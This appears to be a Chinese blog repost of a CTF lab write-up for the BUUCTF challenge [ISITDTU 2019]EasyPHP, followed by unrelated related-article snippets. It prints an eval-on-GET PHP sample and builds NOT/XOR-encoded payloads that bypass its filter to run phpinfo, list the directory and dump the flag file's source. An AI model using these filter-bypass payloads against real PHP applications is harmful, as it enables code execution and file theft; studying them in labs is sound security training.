当前位置: 首页 > news >正文

98,【6】 buuctf web [ISITDTU 2019]EasyPHP

进入靶场

代码

<?php
// 高亮显示当前 PHP 文件的源代码,通常用于调试或展示代码,方便用户查看代码逻辑
highlight_file(__FILE__);// 从 GET 请求中获取名为 '_' 的参数值,并赋值给变量 $_
// @ 符号用于抑制可能出现的错误信息,若未传递该参数则不会抛出警告
$_ = @$_GET['_'];// 使用正则表达式检查变量 $_ 中是否包含特定字符
// 这些字符包括空字符(\x00)、数字(0 - 9)、单引号(')、双引号(")、反引号(`)、美元符号($)、
// 与符号(&)、逗号(,)、点号(.)、竖线(|)、左方括号([)、左花括号({)以及字母 defgops 等
// 若包含这些字符,则终止脚本执行并输出提示信息
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )die('rosé will not do it');// 对变量 $_ 进行小写转换,然后使用 count_chars 函数统计其中不同字符的数量
// 0x3 是 count_chars 函数的模式参数,表示返回一个数组,数组的键是字符的 ASCII 码,值是该字符出现的次数
// 接着获取该数组的长度,即不同字符的数量
// 如果不同字符的数量超过 13(0xd 是十六进制的 13),则终止脚本执行并输出提示信息
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )die('you are so close, omg');// 如果上述两个条件都不满足,则将变量 $_ 作为 PHP 代码进行执行
// 这种做法存在严重的安全风险,因为用户可以通过 GET 请求注入恶意代码
eval($_);
?>

总结:绕过正则匹配

字符数量不超过13

1,取反

phpinfo() 是 PHP 里一个十分实用的内置函数,它的主要作用是输出当前 PHP 环境的详细配置信息。

<?php
print(urlencode(~'phpinfo'));
?>
%8F%97%8F%96%91%99%90 
/?_=(~%8F%97%8F%96%91%99%90)();

 

2,分析禁用函数

看看怎么使用没有被禁止的函数读取目录

<?php
echo(urlencode(~'print_r'));
echo nl2br("\n");
echo(urlencode(~'scandir'));
echo nl2br("\n");
echo(urlencode(~'.'));
?>

再测测长度 

<?php
print(strlen(count_chars(strtolower('(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));'), 0x3)));
?>

超了

使用pscadi来代替ntr 

((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff)); 

 

直接读不了,肯定超长度,end()获得数组的最后一个值 

show_source(end(scandir('.')))

((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

 

flag{664629c2-9083-4685-800a-f6ccbc5d0608}

 

相关文章:

98,【6】 buuctf web [ISITDTU 2019]EasyPHP

进入靶场 代码 <?php // 高亮显示当前 PHP 文件的源代码&#xff0c;通常用于调试或展示代码&#xff0c;方便用户查看代码逻辑 highlight_file(__FILE__);// 从 GET 请求中获取名为 _ 的参数值&#xff0c;并赋值给变量 $_ // 符号用于抑制可能出现的错误信息&#xff…...

Kamailio、MySQL、Redis、Gin后端、Vue.js前端等基于容器化部署

基于容器化的部署方案&#xff0c;通常会将每个核心服务&#xff08;如Kamailio、MySQL、Redis、Gin后端、Vue.js前端等&#xff09;独立运行在不同的容器中&#xff0c;通过Docker或Kubernetes统一管理。以下是具体实现方式和关键原因&#xff1a; 1. 容器化部署的核心思路 每…...

知识管理系统助力企业信息共享与创新思维的全面提升研究

内容概要 知识管理系统的引入极大地改变了企业内部的信息流程与创新机制。通过有效整合与管理组织内的知识资源&#xff0c;这些系统不仅降低了信息孤岛的现象&#xff0c;还提升了员工之间的协作能力。企业在信息共享方面&#xff0c;通过知识管理系统构建了一个透明、高效的…...

Leetcode 131 分割回文串(纯DFS)

131. 分割回文串https://leetcode.cn/problems/palindrome-partitioning/https://leetcode.cn/problems/palindrome-partitioning/ 给你一个字符串 s&#xff0c;请你将 s 分割成一些子串&#xff0c;使每个子串都是 回文串 。返回 s 所有可能的分割方案。 示例 1&#xff1a…...

结构体DMA串口接收比特错位

发送&#xff1a; 显示&#xff1a; uint16_t接收时候会比特错位。...

用FormLinker实现自动调整数据格式,批量导入微软表单

每天早上打开Excel时&#xff0c;你是否也经历过这样的噩梦&#xff1f; 熬夜调整好的问卷格式&#xff0c;导入微软表单后全乱套 客户发来的PDF反馈表&#xff0c;手动录入3小时才完成10% 200道题库要转为在线测试&#xff0c;复制粘贴到手指抽筋 微软官方数据显示&#xf…...

技术架构师成长路线(2025版)

目录 通用知识 计算机原理&#xff08;1 - 2 个月&#xff09; 数据结构&#xff08;2 - 3 个月&#xff09; 网络编程&#xff08;1 - 2 个月&#xff09; 软件工程&#xff08;1 个月&#xff09; 基础知识 Java 编程语言基础&#xff08;2 - 3 个月&#xff09; JVM&…...

独立开发者的技术栈

文章目录 设计IDE&工具链前端后端移动端用户管理支付数据部署运维AI工具箱&#x1f525;避坑指南参考链接 一个人就是一家公司的时代已经到来 设计 FigmaPixso是国产设计工具&#xff0c;可作为Figma的替代版使用Sketch IDE&工具链 VscodeESLint & Prettier: &a…...

wordpress每隔24小时 随机推荐一个指定分类下的置顶内容。

在WordPress中实现每隔24小时随机推荐一个指定分类下的置顶内容&#xff0c;可以通过以下步骤实现&#xff1a; 1. 创建自定义函数 在主题的functions.php文件中添加以下代码&#xff0c;用于创建一个定时任务&#xff0c;每隔24小时随机选择一个置顶文章并存储到选项中&…...

Android13源码下载和编译过程详解

前言 作为Android开发者人人都应该有一份自己Android源码,这样我们就可以随时对自己有疑惑的地方通过亲手调试来加强理解 一 源码下载 1.1 配置要求 官方推荐配置请参考&#xff1a;AOSP使用入门文档&#xff0c;重点有如下几项&#xff1a; 1.1.1 硬件配置要求 至少需要…...

C++底层学习预备:模板初阶

文章目录 1.编程范式2.函数模板2.1 函数模板概念2.2 函数模板原理2.3 函数模板实例化2.3.1 隐式实例化2.3.2 显式实例化 2.4 模板参数的匹配原则 3.类模板希望读者们多多三连支持小编会继续更新你们的鼓励就是我前进的动力&#xff01; 进入STL库学习之前我们要先了解有关模板的…...

使用mybatisPlus插件生成代码步骤及注意事项

使用mybatisPlus插件可以很方便的生成与数据库对应的PO对象&#xff0c;以及对应的controller、service、ImplService、mapper代码&#xff0c;生成这种代码的方式有很多&#xff0c;包括mybatis-plus提供的代码生成器&#xff0c;以及idea提供的代码生成器&#xff0c;无论哪一…...

扩散模型(二)

相关阅读&#xff1a;扩散模型&#xff08;一&#xff09; Parameterization of L t L_t Lt​ for Training Loss 回想一下&#xff0c;我们需要训练一个神经网络来近似反向扩散过程中的条件概率分布&#xff0c;即, p θ ( x t − 1 ∣ x t ) N ( x t − 1 ; μ θ ( x t…...

java异常处理——try catch finally

单个异常处理 1.当try里的代码发生了catch里指定类型的异常之后&#xff0c;才会执行catch里的代码&#xff0c;程序正常执行到结尾 2.如果try里的代码发生了非catch指定类型的异常&#xff0c;则会强制停止程序&#xff0c;报错 3.finally修饰的代码一定会执行&#xff0c;除…...

新月军事战略分析系统使用手册

新月人物传记&#xff1a; 人物传记之新月篇-CSDN博客 相关故事链接&#xff1a;星际智慧农业系统&#xff08;SAS&#xff09;&#xff0c;智慧农业的未来篇章-CSDN博客 “新月智能武器系统”CIWS&#xff0c;开启智能武器的新纪元-CSDN博客 “新月之智”智能战术头盔系统&…...

Docker Hub 镜像 Pull 失败的解决方案

目录 引言一、问题二、原因三、解决方法四、参考文献 引言 在云原生技术火热的当下&#xff0c;Docker可谓是其基础&#xff0c;由于其简单以及方便性&#xff0c;让开发人员不必再为环境配置问题而伤脑筋&#xff0c;因为可将其看作一个虚拟机程序去理解。所以掌握好它可谓是…...

SQL进阶实战技巧:如何构建用户行为转移概率矩阵,深入洞察会话内活动流转?

目录 1 场景描述 1.1 用户行为转移概率矩阵概念 1.2 用户行为转移概率矩阵构建方法 (1) 数据收集...

DeepSeek辅助学术写作关键词选取

关键词 关键词主要从论文标题、摘要及正文中提炼出来&#xff0c;需要准确反映论文的核心主题和专业领域。关键词的选择不仅有助于标引人员进行主题词的选取、数据库的建立以及文献的检索&#xff0c;而且也便于读者高效检索和引用相关学术成果&#xff0c;从而促进学术交流的…...

后盾人JS -- 原型

没有原型的对象 也有没有原型的对象 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document<…...

优选算法的灵动之章:双指针专题(一)

个人主页&#xff1a;手握风云 专栏&#xff1a;算法 目录 一、双指针算法思想 二、算法题精讲 2.1. 查找总价格为目标值的两个商品 2.2. 盛最多水的容器 ​编辑 2.3. 移动零 2.4. 有效的三角形个数 一、双指针算法思想 双指针算法主要用于处理数组、链表等线性数据结构…...

如何用MAT修复老照片?3个实用技巧让破损图像重获新生

如何用MAT修复老照片&#xff1f;3个实用技巧让破损图像重获新生 【免费下载链接】MAT MAT: Mask-Aware Transformer for Large Hole Image Inpainting 项目地址: https://gitcode.com/gh_mirrors/ma/MAT 想象一下&#xff0c;你从祖辈那里继承了一张珍贵的黑白老照片&a…...

WPF拖拽实战避坑指南:从DragDropEffects到QueryContinueDrag,解决拖拽后鼠标事件失效的诡异问题

WPF拖拽实战避坑指南&#xff1a;从DragDropEffects到QueryContinueDrag&#xff0c;解决拖拽后鼠标事件失效的诡异问题 当你在WPF项目中实现拖拽功能时&#xff0c;是否遇到过这样的场景&#xff1a;拖拽操作完成后&#xff0c;控件的MouseMove事件突然"失灵"&#…...

解锁音乐资源聚合新方式:洛雪音乐音源开源工具全解析

解锁音乐资源聚合新方式&#xff1a;洛雪音乐音源开源工具全解析 【免费下载链接】lxmusic- lxmusic(洛雪音乐)全网最新最全音源 项目地址: https://gitcode.com/gh_mirrors/lx/lxmusic- 你是否遇到过音乐平台版权分散导致想听的歌曲需要切换多个APP的困扰&#xff1f;是…...

PROJECT MOGFACE技术解析:深入理解LSTM在序列建模中的替代与增强

PROJECT MOGFACE技术解析&#xff1a;深入理解LSTM在序列建模中的替代与增强 1. 引言 如果你在几年前接触过自然语言处理或者语音识别&#xff0c;那么“LSTM”这个词对你来说一定不陌生。它曾经是处理序列数据的黄金标准&#xff0c;从机器翻译到语音合成&#xff0c;几乎无…...

跨平台技术突破:OptiScaler如何让AI超分技术普适化

跨平台技术突破&#xff1a;OptiScaler如何让AI超分技术普适化 【免费下载链接】OptiScaler DLSS replacement for AMD/Intel/Nvidia cards with multiple upscalers (XeSS/FSR2/DLSS) 项目地址: https://gitcode.com/GitHub_Trending/op/OptiScaler 问题诊断&#xff1…...

保姆级教程:在Ubuntu 20.04上搞定SigmaStar SSC336/SSC338/SSC30K的SDK编译环境(含bash切换和32位库安装)

SigmaStar SSC系列芯片开发环境搭建实战指南 从零开始配置Ubuntu 20.04编译环境 最近在接触SigmaStar SSC336/SSC338/SSC30K系列芯片开发时&#xff0c;发现官方文档对环境配置的描述较为简略&#xff0c;而实际搭建过程中会遇到各种"坑"。本文将结合实战经验&#x…...

cat-catch:构建智能化媒体资源捕获的浏览器扩展解决方案

cat-catch&#xff1a;构建智能化媒体资源捕获的浏览器扩展解决方案 【免费下载链接】cat-catch 猫抓 chrome资源嗅探扩展 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch cat-catch是一款专注于网页媒体资源智能捕获的浏览器扩展工具&#xff0c;通过深度…...

快马平台五分钟搞定dht11温湿度传感器arduino数据采集原型

最近在做一个智能家居的小项目&#xff0c;需要实时监测房间的温湿度数据。作为一个硬件开发新手&#xff0c;我选择了经典的DHT11传感器搭配Arduino来实现这个功能。整个过程比想象中顺利很多&#xff0c;特别是在InsCode(快马)平台的帮助下&#xff0c;从零开始到完成原型只用…...

IDM破解后总失效?试试这个永久激活方法+NASA数据下载避坑指南

IDM稳定激活与NASA数据高效下载全攻略 引言 在科研数据获取过程中&#xff0c;高效稳定的下载工具往往能事半功倍。许多研究者都遇到过这样的困扰&#xff1a;好不容易找到需要的数据源&#xff0c;却因为下载工具不稳定或操作不当&#xff0c;导致数据获取效率低下甚至失败。…...

计算机毕设 java 基于 HTML5 的酒店预订管理系统 java 基于 HTML5 的智能酒店预订系统 java 基于 HTML5 的酒店在线预订管理平台

计算机毕设 java 基于 HTML5 的酒店预订管理系统 4u2r79&#xff08;配套有源码 程序 mysql 数据库 论文&#xff09;本套源码可以先看具体功能演示视频领取&#xff0c;文末有联 xi 可分享在互联网和移动互联网飞速发展的当下&#xff0c;线上预订已成为酒店行业的主流消费模式…...